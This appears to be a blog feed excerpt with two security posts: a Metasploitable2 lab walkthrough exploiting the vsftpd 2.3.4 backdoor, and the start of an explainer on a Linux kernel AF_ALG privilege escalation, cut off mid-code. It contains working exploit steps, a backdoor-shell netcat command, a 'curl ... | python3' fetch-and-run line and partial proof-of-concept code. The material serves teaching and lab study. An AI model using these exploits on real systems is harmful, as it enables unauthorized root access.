&lt;td&gt;Kali Linux&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Target Machine&lt;/td&gt;
&lt;td&gt;Metasploitable2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Network Type&lt;/td&gt;
&lt;td&gt;Host-only / NAT (same subnet)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;3. Tools &amp;amp; Technologies Used&lt;/strong&gt;
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;#Nmap – Network discovery and service enumeration&lt;/li&gt;
&lt;li&gt;#Netcat – Banner grabbing and manual interaction&lt;/li&gt;
&lt;li&gt;#Metasploit Framework – Exploitation&lt;/li&gt;
&lt;li&gt;#Exploit_Database – Exploit reference&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;4. Methodology&lt;/strong&gt;
&lt;/h2&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Step 1: Identify Attacker Machine IP&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;ip a&lt;br&gt;
&lt;/code&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Extract the IP address of the Kali machine (e.g., &lt;code&gt;192.168.1.159&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Step 2: Network Discovery&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;&lt;br&gt;
nmap -sn 192.168.1.0/24&lt;br&gt;
&lt;/code&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Performs a &lt;strong&gt;ping scan&lt;/strong&gt; to identify active hosts&lt;/li&gt;
&lt;li&gt;Target identified: &lt;code&gt;192.168.1.160 → Metasploitable2&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Step 3: Service Enumeration&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;&lt;br&gt;
nmap -sV 192.168.1.160&lt;br&gt;
&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;![[Pasted image 20260418144903.png]]&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Detects running services and versions&lt;/li&gt;
&lt;li&gt;Key finding:  &lt;code&gt;FTP → vsftpd 2.3.4&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Step 4: Targeted Port Scan (FTP)&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;&lt;br&gt;
nmap -p 21 -sV 192.168.1.160&lt;br&gt;
&lt;/code&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Confirms FTP service version&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Step 5: #Banner_Grabbing (Manual Verification)&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Using Netcat:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;&lt;br&gt;
nc 192.168.1.160 21&lt;br&gt;
&lt;/code&gt;&lt;br&gt;
![[Pasted image 20260418154605.png]]&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Confirms: &lt;code&gt;vsftpd 2.3.4&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;5. Vulnerability Identification&lt;/strong&gt;
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Software: vsftpd 2.3.4&lt;/li&gt;
&lt;li&gt;Issue: Backdoor intentionally inserted in this version&lt;/li&gt;
&lt;li&gt;Exploit Source:  &lt;a href="https://www.exploit-db.com/exploits/49757" rel="noopener noreferrer"&gt;Exploit DB&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Public exploit available:

&lt;ul&gt;
&lt;li&gt;Backdoor triggered via malicious username input&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;6. Exploitation using Metasploit&lt;/strong&gt;
&lt;/h2&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Step 1: Launch Framework&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;&lt;br&gt;
msfconsole&lt;br&gt;
&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Step 2: Search for Exploit&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;&lt;br&gt;
search vsftpd&lt;br&gt;
&lt;/code&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Relevant module:
&lt;code&gt;
exploit/unix/ftp/vsftpd_234_backdoor
&lt;/code&gt;
### &lt;strong&gt;Step 3: Load Exploit&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;&lt;br&gt;
use exploit/unix/ftp/vsftpd_234_backdoor&lt;br&gt;
&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Step 4: Configure Target&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;&lt;br&gt;
set RHOST 192.168.1.160&lt;br&gt;
&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 5: Configure listener
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;Shell&lt;br&gt;
set LHOST &amp;lt;Your IP&amp;gt;&lt;br&gt;
&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;![[Pasted image 20260418152458.png]]&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Step 5: Execute Exploit&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;&lt;br&gt;
run&lt;br&gt;
&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Result&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Remote shell access obtained&lt;/li&gt;
&lt;li&gt;Privilege level: &lt;strong&gt;root&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;7. Manual Exploitation (Without Metasploit)&lt;/strong&gt;
&lt;/h2&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Step 1: Connect to FTP&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;&lt;br&gt;
ftp 192.168.1.160&lt;br&gt;
&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Step 2: Trigger Backdoor&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Username:
&lt;code&gt;
test:) 
&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Password: 
&lt;code&gt;
anything
&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Step 3: Connect to Backdoor Shell&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;&lt;br&gt;
nc 192.168.1.160 6200&lt;br&gt;
&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Result&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Direct root shell access established
## &lt;strong&gt;8. Technical Explanation of the Vulnerability&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The backdoor in vsftpd 2.3.4 operates as follows:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;If the username contains &lt;code&gt;:)&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;The service triggers a hidden function&lt;/li&gt;
&lt;li&gt;Opens TCP port &lt;strong&gt;6200&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Provides unauthenticated root shell access&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Attack Flow&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;&lt;br&gt;
Attacker → FTP Login (malicious username)&lt;br&gt;
        → Backdoor Triggered&lt;br&gt;
        → Port 6200 Opened&lt;br&gt;
        → Root Shell Access&lt;br&gt;
&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;9. Impact Analysis&lt;/strong&gt;
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Factor&lt;/th&gt;
&lt;th&gt;Impact&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Confidentiality&lt;/td&gt;
&lt;td&gt;Fully compromised&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Integrity&lt;/td&gt;
&lt;td&gt;Fully compromised&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Availability&lt;/td&gt;
&lt;td&gt;Potentially disrupted&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Access Level&lt;/td&gt;
&lt;td&gt;Root&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;ul&gt;
&lt;li&gt;Classified as &lt;strong&gt;Critical (CVSS ~10.0)&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  &lt;strong&gt;10. Mitigation &amp;amp; Remediation&lt;/strong&gt;
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Upgrade FTP service to a secure version&lt;/li&gt;
&lt;li&gt;Avoid using outdated software&lt;/li&gt;
&lt;li&gt;Implement network segmentation&lt;/li&gt;
&lt;li&gt;Use IDS/IPS to detect abnormal behavior&lt;/li&gt;
&lt;li&gt;Disable unnecessary services&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>infosec</category>
      <category>security</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Copy Fail (CVE-2026-31431)</title>
      <dc:creator>Soumya Ranjan 🎖️</dc:creator>
      <pubDate>Tue, 05 May 2026 15:04:33 +0000</pubDate>
      <link>https://forem.com/srsoumyax11/copy-fail-cve-2026-31431-1p77</link>
      <guid>https://forem.com/srsoumyax11/copy-fail-cve-2026-31431-1p77</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8093a3hts8sc7bgtvaam.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8093a3hts8sc7bgtvaam.png" alt=" " width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;A critical kernel privilege escalation that leaves no trace on disk — and how it works&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;It started with a blog post. On April 29, 2026, Theori's research platform Xint Code quietly dropped a URL: &lt;strong&gt;copy.fail&lt;/strong&gt;. Within hours, security teams across the industry were scrambling. A 732-byte Python script — shorter than most &lt;code&gt;.gitignore&lt;/code&gt; files — was rooting every major Linux distribution in existence.&lt;/p&gt;

&lt;p&gt;No race conditions. No kernel symbols. No ASLR bypass. Just a logic bug hiding in the Linux kernel since 2017, waiting to be found.&lt;/p&gt;

&lt;h2&gt;
  
  
  TL;DR for the Busy Reader
&lt;/h2&gt;

&lt;p&gt;CVE-2026-31431, nicknamed &lt;strong&gt;Copy Fail&lt;/strong&gt;, is a local privilege escalation (LPE) in the Linux kernel's AF_ALG crypto subsystem. An unprivileged user can:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Open a crypto socket (zero privileges required)&lt;/li&gt;
&lt;li&gt;Splice pages from &lt;code&gt;/usr/bin/su&lt;/code&gt; into it&lt;/li&gt;
&lt;li&gt;Trigger a 4-byte write into the &lt;strong&gt;in-memory page cache&lt;/strong&gt; of that binary&lt;/li&gt;
&lt;li&gt;Run &lt;code&gt;su&lt;/code&gt; — now running attacker shellcode — and get a root shell
The file on disk is &lt;strong&gt;never touched&lt;/strong&gt;. No checksums fail. No integrity monitors fire. The exploit is fully deterministic and works across kernels 4.14 through 7.x.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Background: What Is AF_ALG?
&lt;/h2&gt;

&lt;p&gt;Linux exposes its kernel crypto engine to userspace through a socket interface called &lt;strong&gt;AF_ALG&lt;/strong&gt; (Address Family - Algorithm), introduced in 2015. Think of it as &lt;code&gt;/dev/crypto&lt;/code&gt; but via standard socket syscalls. Any unprivileged process can:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;sock&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;AF_ALG&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;SOCK_SEQPACKET&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;bind&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;sockaddr&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="c1"&gt;// ... perform AES, HMAC, AEAD operations in kernel space&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is used by OpenSSL's &lt;code&gt;afalg&lt;/code&gt; engine, among others, for hardware-accelerated crypto. It's enabled by default in virtually every Linux distribution.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;algif_aead&lt;/code&gt; module specifically handles &lt;strong&gt;AEAD&lt;/strong&gt; (Authenticated Encryption with Associated Data) — algorithms like AES-GCM that encrypt &lt;em&gt;and&lt;/em&gt; authenticate data simultaneously.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Bug: Three Things That Should Never Have Met
&lt;/h2&gt;

&lt;p&gt;Copy Fail is the result of three independent design decisions colliding catastrophically.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. The &lt;code&gt;authencesn&lt;/code&gt; Scratch Write
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;authencesn&lt;/code&gt; is an AEAD algorithm used for IPsec with Extended Sequence Numbers. During decryption, it performs a deliberate 4-byte write &lt;em&gt;past the end of the plaintext output&lt;/em&gt; as scratch space:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="c1"&gt;// In crypto_authenc_esn_decrypt():&lt;/span&gt;
&lt;span class="n"&gt;scatterwalk_map_and_copy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;assoclen&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;cryptlen&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;//                                      ^^^^^^^^^^^^^^^^^^^&lt;/span&gt;
&lt;span class="c1"&gt;//                                      This is AFTER the output buffer ends&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In normal use, this is harmless — the overrun lands in allocated memory. But combine it with the next two factors...&lt;/p&gt;

&lt;h3&gt;
  
  
  2. The 2017 "In-Place" Optimization
&lt;/h3&gt;

&lt;p&gt;In 2017, commit &lt;code&gt;72548b093ee3&lt;/code&gt; introduced an optimization to &lt;code&gt;algif_aead&lt;/code&gt;: instead of copying data out-of-place, the kernel reuses the source scatterlist as the destination:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Simplified from algif_aead.c (pre-fix):&lt;/span&gt;
&lt;span class="n"&gt;sg_chain&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;out_sg&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tfr_sg&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;  &lt;span class="c1"&gt;// chain tag pages INTO output scatterlist&lt;/span&gt;
&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;src&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;        &lt;span class="c1"&gt;// source = destination (in-place!)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This saved a memory copy. It also accidentally made "writable" a set of pages that should have been read-only.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. &lt;code&gt;splice()&lt;/code&gt; Delivering Page Cache Pages
&lt;/h3&gt;

&lt;p&gt;When you &lt;code&gt;splice()&lt;/code&gt; a file into an AF_ALG socket, the kernel doesn't copy the data. It hands over &lt;strong&gt;direct references to the file's page cache&lt;/strong&gt;. Those exact pages end up in the AEAD scatterlist.&lt;/p&gt;

&lt;p&gt;Put it together:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;splice(/usr/bin/su) → AF_ALG socket
→ page cache pages enter AEAD scatterlist
→ in-place optimization chains them into the "writable" output list
→ authencesn writes 4 bytes past the output boundary
→ those 4 bytes land in /usr/bin/su's in-memory page cache
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A 4-byte arbitrary write into the page cache of any readable file. That's the primitive.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Exploit
&lt;/h2&gt;

&lt;p&gt;The public PoC is a single Python script hosted at the disclosure site. The one-liner that's been circulating:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl https://copy.fail/exp | python3
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here's what it does under the hood (simplified and annotated):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;zlib&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;write_4_bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file_fd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;offset&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;payload_chunk&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# Step 1: Open AF_ALG socket bound to the vulnerable algorithm
&lt;/span&gt;    &lt;span class="n"&gt;sock&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;38&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# AF_ALG, SOCK_SEQPACKET
&lt;/span&gt;    &lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;bind&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;aead&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;authencesn(hmac(sha256),cbc(aes))&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

    &lt;span class="c1"&gt;# Step 2: Configure with a dummy key — no privileges needed
&lt;/span&gt;    &lt;span class="n"&gt;SOL_ALG&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;279&lt;/span&gt;
    &lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setsockopt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SOL_ALG&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fromhex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;0800010000000010&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;0&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setsockopt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SOL_ALG&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;req_sock&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sock&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;accept&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="c1"&gt;# Step 3: Send AAD containing our 4-byte payload
&lt;/span&gt;    &lt;span class="c1"&gt;# authencesn will later write bytes 4-7 of AAD as its "scratch"
&lt;/span&gt;    &lt;span class="n"&gt;req_sock&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sendmsg&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;A&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;payload_chunk&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;  &lt;span class="c1"&gt;# AAD: 4 filler bytes + our payload
&lt;/span&gt;        &lt;span class="p"&gt;[(&lt;/span&gt;&lt;span class="n"&gt;SOL_ALG&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\x00&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
         &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SOL_ALG&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\x10&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\x00&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;19&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
         &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SOL_ALG&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\x08&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="se"&gt;\x00&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)],&lt;/span&gt;
        &lt;span class="mi"&gt;32768&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# Step 4: Splice target file's page cache into the socket
&lt;/span&gt;    &lt;span class="n"&gt;pipe_r&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pipe_w&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pipe&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;splice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file_fd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pipe_w&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;offset&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;offset_src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# file → pipe
